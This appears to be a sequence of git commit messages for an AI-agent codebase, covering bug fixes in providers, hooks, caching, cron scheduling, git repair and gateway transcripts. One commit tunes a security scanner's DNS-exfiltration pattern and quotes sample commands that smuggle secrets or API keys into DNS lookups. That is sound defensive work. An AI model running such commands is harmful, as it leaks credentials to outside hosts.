The version-less canonical Flash id is not matched by _is_deepseek_thinking_model, so agent.reasoning_effort and every auxiliary reasoning_effort were silently dropped on the OpenCode Go relay while the direct provider was fixed (8435a3ae00/aeecb110f8). Match it through a version-less id set, mirroring plugins/model-providers/deepseek. Verified against the Go relay: named levels are graded (low 906 / high 1371 / max >=2500 reasoning tokens on a multi-step prompt) and integer efforts are rejected, so the named level is the knob to send.
The salvaged comment restated the symptom at length; keep only the WHY.
Drop the `# pragma: no cover` markers (the repo does not gate on coverage).
One invariant test: with aiohttp.web_request lacking RequestKey, `web` stays
bound to the aiohttp module and RequestKey is None (red on origin/main).
Set umask 0o022 around the write so the assertion fails whenever the mode
comes from the environment instead of the writer, and gate it off Windows
like the sibling POSIX mode-bit tests (st_mode is synthesized there).
Keep '' -> normal (the bug), None -> normal and priority -> fast (passthrough
sanity), both for a built agent and a pre-build pin, plus the 'status never
writes config' guard. Drop the redundant identity rows and raising=False
(both patched names exist on the module).
Companion to the import fix: a clause whose version segment does not parse
(`>=0.21.1,<0.x`) must fail admission rather than silently gate nothing.
Salvage note: the source hunk (same import fix) and the duplicate positive
test from PR #108842 were dropped in favour of the earlier #107553; only the
negative test is carried here.
An unquoted redirect target breaks if the pytest tmp dir contains a
space: the hook then never writes its pid and the test waits out the
300 s hook instead of failing fast. The neighbouring tests in this file
are unquoted, so only the new test is changed here.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
_spawn puts the hook child in its own process group on POSIX, so the
terminal's SIGINT never reaches it and only _spawn's own cleanup can stop
it. That cleanup sat in `except Exception`, and KeyboardInterrupt is a
BaseException — Ctrl+C during a hook skipped kill_process_tree entirely
and left the hook (and anything it forked) running.
Catch BaseException, run the existing tree kill and drain, then re-raise
anything that is not an Exception subclass so KeyboardInterrupt and
SystemExit still reach the caller unchanged. Every other return path is
untouched.
Follow-up to #84901, which added the same cleanup for the timeout path.
The regression test mirrors the existing real-subprocess tests in
tests/agent/test_shell_hooks_tree_kill.py: it interrupts the process once
the hook is confirmed running, then asserts both that KeyboardInterrupt
propagates and that the hook pid is gone. Verified RED on the unfixed
tree (that test alone fails, the other five pass) and green with the fix.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
~480 scientific research skills become searchable/installable through the Skills Hub
with nothing vendored: K-Dense-AI/scientific-agent-skills (165, MIT) and
synthetic-sciences/openscience (314 across 17 category paths, Apache-2.0).
A new optional tap-level `bucket` key stamps extra["category"] on every skill from a
tap whose repo ships no skills.sh.json grouping, so several repos surface as one hub
category; a sidecar grouping still wins when present. Both repos stay at community
trust (not in TRUSTED_REPOS) so the guard scans every install.
Re-grafted from #60559 onto the post-split tools/skills_hub_github.py.
Every scheduled skills-index.yml run since 2026-07-20 was cancelled at the 15-minute
job timeout, so the live skills-index.json has been frozen at that date and every
`hermes skills search` fell through to live GitHub API calls (~500 inspect requests per
cold search, against a 60/hr unauthenticated budget). The freshness watchdog has been
appending to #66616 four times a day since.
Root cause: enrich_owners() walks every ClawHub skill's detail endpoint (~2s each) to
fetch an owner handle for the "View source" link. The catalog grew from ~50k to 78k
skills, so even at 30 workers that phase alone runs over an hour; nothing bounded it.
- enrich_owners() gains budget_seconds: on expiry it stops and ships the remainder
without an owner (the link is a nicety; the index is not).
- build_skills_index.py passes an 8-minute budget.
- skills-index.yml build job timeout 15 -> 50 min to cover the measured critical path
(clawhub walk ~14 min || github taps ~8 min, skills.sh resolve ~6 min, enrichment 8 min).
Follow-up to the #106769 pick: the 8-line dated bugfix narrative in
parse_context_limit_from_error becomes a 2-line WHY, and one invariant
test pins the contract: an output-cap message parses to None as a
context limit, 16384 as the available output tokens, and classifies as
an output-cap error, while a genuine "maximum context length" message
still parses. Red on origin/main (returned 16384 as the context limit).
Electron sends a local sub-profile's REST to its pooled `hermes --profile X serve` without
?profile=; inside that process the unscoped branches never reached the multiplexer rung, so a
profile served by the default multiplexer read as 'Messaging gateway stopped' on the system and
messaging pages, start/stop spawned a child that exited 78 while the UI reported success, and
restart ran `gateway restart` under X's HOME (same exit 78). Remote-backend topology was already
correct because its requests carry ?profile=.
Unscoped liveness/status/messaging now take the multiplexer rung for the process's own home;
lifecycle verbs resolve the own profile, refuse start/stop with 409 and restart the multiplexer via
-p default; Electron routes POST /api/gateway/{restart,start,stop} through the primary with
?profile= so the action lives on the backend the status poll asks and outside the pooled
backend's shutdown SIGTERM.
A skill nobody has loaded in a month is prompt weight, not knowledge, and
archival is recoverable (`hermes curator restore`). Defaults move
stale 30→14 / archive 90→30; config v44 rewrites only the OLD defaults so
an explicitly customized window is preserved. `hermes curator prune`
now defaults --days to curator.archive_after_days instead of a
hardcoded 90 so the manual and automatic paths agree.
The classic CLI froze for ~0.7-2s between the banner and the first prompt. py-spy +
strace on real PTY startups showed the main/REPL threads inside
refuse_deleted_wal_generation -> _iter_proc_fd_targets: a second full SessionDB open.
_init_session_store built a bare SessionDB(); a moment later the goal/loop/heartbeat
managers acquired the same state.db through hermes_state_registry from the REPL thread,
which is a different handle, so the whole open ran again — including the /proc-wide
deleted-WAL sidecar scan (~4.4k readlinks). Each readlink drops and re-takes the GIL
while the startup threads (plugin discovery, MCP, skill sync, banner git) are busy, so an
11ms scan stretched to 1.3s per pass, and the second pass landed exactly where the
prompt should have appeared.
Route the CLI's handle (init + the two re-open sites) through the registry so every
in-process consumer shares one writer. One scan per startup; live A/B on the same box,
interleaved x6: banner->prompt gap 0.37s mean -> 0.15s mean (plain), 1.77s -> 0.39s
under strace. The registry release path replaces close(), so /quit, /snapshot restore
and /handoff keep their semantics.
Leaving the context-length prompt blank in the custom-endpoint wizard said
"will auto-detect" and then went silent, so users could not tell whether their
endpoint runs on a detected window or the runtime's default fallback (which
shapes compression and prompt-cache behaviour). After the save prompt, run the
same resolver the runtime uses (with the endpoint's URL and key) and print
either "auto-detected N tokens" or "not detected — using the default N tokens".
Feedback only: the probe result is not persisted, and a failing probe never
blocks the save.
Fixes#2513. Approach from PR #2522 (@ygd58) and PR #85499 (@Luna161), both
written against the pre-decomposition wizard module.
Co-authored-by: Luna161 <268031236+Luna161@users.noreply.github.com>
A throttled GitHub fetch also yields index-metadata-without-bundle, so the new
stale-entry verdict would tell users a skill "no longer exists upstream" when
it does. Check the adapters' rate-limit flag first and keep the existing
rate-limit hint for that case (the keep_open review concern on #3261).
The per-search "results may be stale" note is dropped: it fires on every
skills.sh search whether or not anything is stale, and the install-time error
now names the condition precisely where it happens.
_resolve_source_meta_and_bundle already distinguishes index-hit-without-
files from unknown identifiers, but do_install printed the same generic
'Could not fetch' for both, sending users off to re-check spellings for
what is actually a stale skills.sh entry. Split the message, and add a
staleness caveat to do_search results from skills.sh.
Fixes#3259. Supersedes #3261 (stale since July — re-applied onto the
current _print_fetch_failure helper).
BotFather rejects setMyCommands descriptions containing em/en dashes
(U+2012-U+2015, U+2212). Fold them to ASCII hyphen at the two Telegram
sinks (telegram_bot_commands, telegram_menu_commands) so core, plugin,
and skill entries are all covered.
Fixes#2925.
Replaces the source-extraction harness (regex-lifting the function body and
asserting 'readlink -m' is present in the text) with the script's own
--self-test-gate entry point, and adds the canonical-root + symlinked-target
spelling from the #108867 report. Two invariant tests, linux_only.
- Rewrite the linux_gate comment to describe the environment fact
(symlinked /home, kernel-canonicalised /proc/<pid>/exe) without
local-patch markers or the unfiled-issue reference.
- Add test_empty_relaunch_target_falls_to_skew pinning the [ -n ... ]
guard behavior so it cannot be simplified away.
- Add the missing trailing newline to the test file.
The linux relaunch gate compares the running desktop's exe path
(relaunch target, read from /proc/<pid>/exe — kernel-canonicalised)
against the checkout's unpacked-app prefix with a raw case-pattern.
On hosts where /home is a symlink to /var/home (e.g. Fedora), the two
sides spell the same tree differently (/home/... vs /var/home/...) and
the gate false-positives "skew", telling the user to reinstall the
desktop app after every successful self-update.
Canonicalise both sides with readlink -m (which resolves existing
leading components without requiring the full path to exist, unlike
-f) before the prefix compare. No-op when both sides already agree.
_truncate_for_sync documents "the last sentence boundary within max_len", but it
looped over separator KINDS and returned on the first kind that qualified. An early
"。" therefore outranked a "." 240 characters later, and in pure ASCII "." outranked
a later "!" or "?" purely because it comes first in the tuple.
With the 450-char default, "a"*200 + "。" + "b"*240 + "." + "c"*100 kept 201 of the
442 characters available: 241 characters the embedder would have accepted were
discarded, so any fact in the second half of the turn never reached extraction. The
add() call succeeds, so unlike #106235 nothing is logged — the turn is simply
remembered from its first sentence. Raising sync_max_chars widens the gap rather
than closing it.
Take the max over every separator instead, from a named tuple so the set is not
buried in the loop. ".\n" is dropped: its index can never exceed the bare "." it
starts with, so under a max it is unreachable. The first-third guard and the hard-cut
fallback for unsegmented input are unchanged.
Fixes#108868
`(dig|nslookup|host)\s+[^\n]*\$` matched any line where the word "host"
was followed, anywhere later, by a `$` -- "Set the host value and run
`${SKILL_DIR}/scripts/check.py`" was a CRITICAL DNS-exfiltration finding
that blocked a one-file community skill from installing (#108873).
DNS exfiltration puts the data in the queried NAME, so the pattern now
requires the interpolation in the first positional argument (after
optional -flags with values, +opts and @server). Real `host $SECRET.x`,
`dig @1.2.3.4 +short $TOKEN.x`, `nslookup -type=txt "$KEY".x` and
`host -t txt ${API_KEY}.x` still flag; the llama.cpp `--host ... $PORT`
exemption is preserved.
Two LSP freshness bugs reported by @tobific (#108882, #108881):
- `_current_diags_async()` keyed the client lookup by the enclosing
workspace root while `_get_or_spawn()` stores single-root servers under
`srv.resolve_root(...)` (a nested package.json project). The lookup
returned [] for a live client with diagnostics, so the delta baseline was
refreshed from nothing. Use the same resolved-root key.
- `open_or_change()` published `_DocState.version` only after awaiting the
didChange write. A versionless publishDiagnostics read during that await
was credited with the OLD version and judged stale once the send resumed.
Bump the version before the send; a failed send (swallowed by
`_send_notification`) leaves a version nothing satisfies, i.e. "no
verdict", which is the existing contract.
The mock server gains a push-only `versionless` script so the race is
reproducible without a real language server.
Rework of the repair pass from #108361 (salvage) addressing the blocking
review findings, verified with real-git probes:
- Sequencing: prune_stale_shallow_grafts' fail-safe now also walks
rev-list --all --reflog, so a boundary the repair just restored (one a
reflog-only commit still needs) is never dropped again; previously the
production repair->prune sequence re-broke the repo on every update run.
- Header-only parent parsing: a "parent <sha>" line inside a commit
message body is prose; _batch_missing_parents stops at the blank line
ending the commit header, so healthy history is never truncated.
- Candidates restricted to fetch-recorded tips (refs/remotes/* reflogs),
not --batch-all-objects: unrelated object loss (a deleted parent of a
locally-created commit) is no longer re-labelled as shallow history;
fsck keeps reporting it.
- Concurrent-writer safety: both .git/shallow writers now hold git's own
shallow.lock, so a depth-1 fetch between read and write fails fast
instead of being clobbered (or clobbering us).
- Cheap gate: repair runs its subprocess fan-out only when
rev-list --all --reflog already fails; healthy updates pay one probe.
- --batch-check returncode is now checked; shared helpers
(_shallow_file_path, _ShallowLock) replace the copy-pasted plumbing;
test file footguns fixed (encoding=, as_uri()) and the missing
repair->prune end-to-end regression added, mutation-checked.
A reflog-only commit can remain present after stale-graft pruning drops the shallow boundary it needs, while its parent was never fetched. That leaves git gc, fsck, and rev-list unable to traverse the repository. Prevention alone is insufficient because a broken gc walk prevents reflogs from expiring.
Repair scans local commit objects without graph traversal, identifies commits with missing parents, and atomically restores their shallow boundaries. It only updates .git/shallow and never expires reflogs, prunes, or deletes objects, so the operation is non-destructive and idempotent.
This complements PR #108290, which owns the prevention half.
Refs #108286
#108952 taught sms/line/teams/bluebubbles/whatsapp_cloud/msgraph_webhook/feishu/wecom-callback to
serve a secondary at /p/<profile>/ on the default listener; #108928's preflight derives its
port-binder blocker from the adapter class's serves_profile_prefix flag, which those adapters never
set. Merged together, migrate would have blocked every profile the ingress work just unblocked.
Declare the flag on each shared-ingress adapter and run plugin discovery before consulting the
registry (plugin adapters are absent from a bare CLI process otherwise).
- /p/<profile>/line/webhook is verified with the NAMED profile's channel secret under
its runtime scope; another profile's secret is 401 at that URL; the bare path is
untouched; unknown profile / profile without the adapter is 404.
- A shared-listener adapter binds no port and records its /p/<profile>/ ingress_url
in runtime status; LINE media URLs use the shared prefix.
- Runner: a secondary's port-binders are constructed in shared-listener mode instead
of refusing the whole profile; api_server/webhook are skipped as mirrors.
- Dashboard: only the mirrored pair is refused (409) on a secondary.
advance_next_run alone no longer commits an occurrence — a restart before the
fire claim restores it (#107485). The at-most-once assertions model the real
tick sequence (advance → claim) so they keep guarding the mid-run crash case.
tick() advances a recurring job's next_run_at BEFORE dispatch so a crash
mid-run cannot re-fire it on every restart (at-most-once). That leaves a
window — advance persisted, fire claim not yet taken — in which the process
dying (interpreter already finalizing, executor refusing new futures, SIGKILL,
the Desktop idle-exit from #107485) loses the occurrence silently: the
restarted scan sees only the future next_run_at, writes no execution row and
no log line, and a daily job skips a day.
Contract (documented in cron-internals.md): every recurring occurrence is
accounted for — it runs once, or its skip is logged with a reason.
- The due scan stamps `pending_slot = {scheduled_at, at, by}` in the same save
that records `last_dispatch`; claim_job_for_fire and mark_job_run clear it,
and an explicit schedule / next_run_at / enabled / state rewrite (edit,
pause, resume, run-now) drops it.
- A later scan that finds the stamp with a provably gone owner (this process
and the job not in its running set, or another owner past the fire-claim
lease / dead pid) restores scheduled_at as next_run_at ONCE and logs a
WARNING (cron/occurrences.py::unclaimed_pending_slot). The restored instant
then meets the ordinary policy — completed_occurrence() blocks a second fire
of a slot that already ran, the grace window classifies it late, past-grace
collapses the backlog into one run, cron.catch_up_missed: false skips it
with a logged reason. Never a replay of N slots.
Same store fields on both topologies: a standalone `hermes -p X gateway run`
and a profile served by the default multiplexer evaluate the identical record.
The multiplexer skips a secondary profile that enables a port-binding
platform, unless the default listener already answers that platform under
/p/<profile>/. Which adapters do is now a class attribute on the adapter
(api_server and webhook today) instead of knowledge scattered in prose, so
the migration preflight can tell "URL changes" from "profile would be
skipped" and stays correct as new HTTP-inbound adapters gain the prefix.
Ramp Router efforts cache + warm/disk flags, xAI and OpenRouter image catalogs,
Hindsight append-capability verdict, memory-provider skill registry, OpenViking
atexit provider, Honcho loopback flow status, Langfuse client (os.environ-only
credentials) and disk-cleanup's protected cron paths held one profile's
credential- or home-derived value process-wide; YuanbaoAdapter._active_instance
was last-connected-wins across profiles.
Keyed by home key / credential fingerprint under an override, credentials read
through the secret scope, warm threads run under copy_context(); unscoped module
slots stay for the single-profile path and the existing monkeypatch tests.
DeepInfra catalog (fetched with the launch env's key via os.getenv), Copilot
context limits (api_key ignored on hit), Nous reasoning caps + once-per-process
guards, the curated OpenRouter list, the model-catalog in-process copy (mtime
without path), banner skills, the guest-mint back-off flag and the active skin
were single slots read under per-profile overrides by the gateway and the TUI
gateway; the SWR refresh thread ran without the caller's ContextVars.
Under an override each lives per home key (hermes_cli/models_profile_cache.py
holds the shared slot helper so models.py does not grow), credentials are read
through the scope-aware dotenv reader and keyed by fingerprint, and background
refreshes run under copy_context(). Unscoped behaviour is byte-identical.
Camofox VNC one-shot, computer-use aux-vision verdict, tirith binary path, MCP
discovery lock path, remote-backend probe text, learned image token costs,
auxiliary per-task semaphores and the custom-endpoint /models memo all held one
profile's config-derived value for the whole process. The skill-sync debounce
Timer ran with empty ContextVars, so a secondary's write pushed as the launch
profile (and cancelled its pending push).
Each memo is now keyed by hermes_home_key() (or credential fingerprint for the
per-key catalog) under an override; the timer is per home and runs its callback
inside the scheduling turn's copied context. Unscoped slots are unchanged.
boto3 and azure-identity freeze the credential chain into the client at
construction, and the process env under a multiplexed turn belongs to the launch
profile. A region-only (bedrock) / config-only (lru_cache) slot therefore signed a
served profile's calls with the launch profile's keys and served its account's
model list to everyone.
Under a HERMES_HOME override the clients are built from the profile's secret
scope (AWS_* / AZURE_* from its .env) and cached per (home, service, region) /
(home, config); the discovery cache key carries the home. The unscoped path keeps
the region slot and the maxsize=1 lru byte-for-byte.
Review findings on the salvage (all reproduced with a real SessionStore):
1. Primary persisted-agent path skipped the boundary. The agent's turn-start
flush already persists the user row stamped with the inbound platform id, so
`has_platform_message_id` saw THIS turn's own row, took the "duplicate" branch
and skipped the whole block — including the new assistant boundary. The
transcript stayed `[..., 'user']`, exactly the open tail #107070 is about.
Fresh sessions hid it a second way: `session_meta` is appended after the
agent-flushed user row, so a naive "newest row" tail read sees `session_meta`.
2. The exception fallback appended the boundary unconditionally; a redelivery of
an already-closed turn produced `['user', 'assistant', 'assistant']`.
3. The exception fallback wrote the user row + boundary before classifying a
400/500-on-long-session as overflow, growing a session that is already too
large (the #1630 no-grow rule the persist path honours).
Fix: `SessionDB.latest_conversation_role()` (newest active row excluding the
`session_meta`/`system` bookkeeping rows the model never sees) behind
`SessionStore.transcript_tail_role()`, which resolves the same route
`load_transcript` reads via the existing `_compression_tip_for_session_id`.
One `_hmwa_close_failed_turn()` appends the boundary iff that tail is an open
user row; both the persist path and the exception fallback call it, so the
user-row dedupe no longer gates the boundary and a redelivery never stacks.
The overflow verdict in `_hmwa_agent_error_reply` is an early return ahead of
every transcript write. The `failed_turn_notice` kwarg and its dead
`or _hmwa_failed_turn_notice(...)` fallback are gone; the notice is derived
where each consumer needs it.
Tests (each red with the production change reverted, green here): boundary
keyed on the durable tail with the user write deduped (agent-flushed row →
closed; redelivery → nothing); fresh-session agent-flushed failed first turn
closed despite `session_meta` (real store); exception-path redelivery adds no
second boundary (real store, every lineage location, contract asserted from
store state); exception-path overflow persists nothing. Live E2E:
`evals/gateway_failure_ownership/probe.py` (real AIAgent + fixture provider)
20/20; the two `failed provider input` turns that previously left an open user
tail now close with the "not processed" row.
The notice was derived twice per failed turn (reply + persisted row) from
the same input with different gates, so the shown text and the stored row
were not guaranteed identical. Classify once, pass failed_turn_notice into
_hmwa_persist_turn_transcript. Inline the one-line boundary-row staticmethod
at its two sites, drop the no-producer "notice already present" guard, and
assert the notice constants in tests instead of substrings.
The boundary row closes the user row it follows. When Telegram redelivers
the same failed message the dedupe branch skips the user row, so writing the
boundary unconditionally stacked two consecutive assistant rows and the
notice would be concatenated twice on replay. Append it only alongside the
user row; one test replays the retry.
PR #107088 routed the "Session too large" reply through
_hmwa_add_failed_turn_notice with the PARTIAL notice ("some actions may
already have run; verify"). Context overflow is a deterministic request
rejection, not an indeterminate-effect failure — #107567 just tightened
that verdict — so the overflow branch returns main's exact text again.
One invariant test: a 400 on a >50-row history yields the /compact
guidance alone, without the partial notice.
Follow-up to #107088 (fangliquanflq), refs #107070.
The three helpers each restated why sudo moves the naming basis; keep it in _profile_suffix and leave the helpers their unique reasons. Drops a footgun marker the scanner has no pattern for and a raising=False on an attribute that exists.
`_bare_unit_pinned_home()` read the system unit for every caller, so an
unprivileged `hermes -p kimi gateway status` (user scope) resolved
`hermes-gateway` instead of `hermes-gateway-kimi` whenever the bare system
unit pinned that profile home — aliasing the profile onto the user's default
unit. Only an elevated process operates the system unit, so gate on root.
Also drops the unreachable `OSError` arm (non-strict resolve swallows it) and
routes the legacy-unit search through `_SYSTEM_UNIT_DIR`.
Trims the nine salvaged tests to four, one per contract: SUDO_USER's default
home keeps the bare name across the unit sync; a home the unit does not pin
keeps its suffix (the #105525 guard); a bare unit pinning a profiles/<name>
home beats the profile branch; the production sync itself preserves the name.
secsson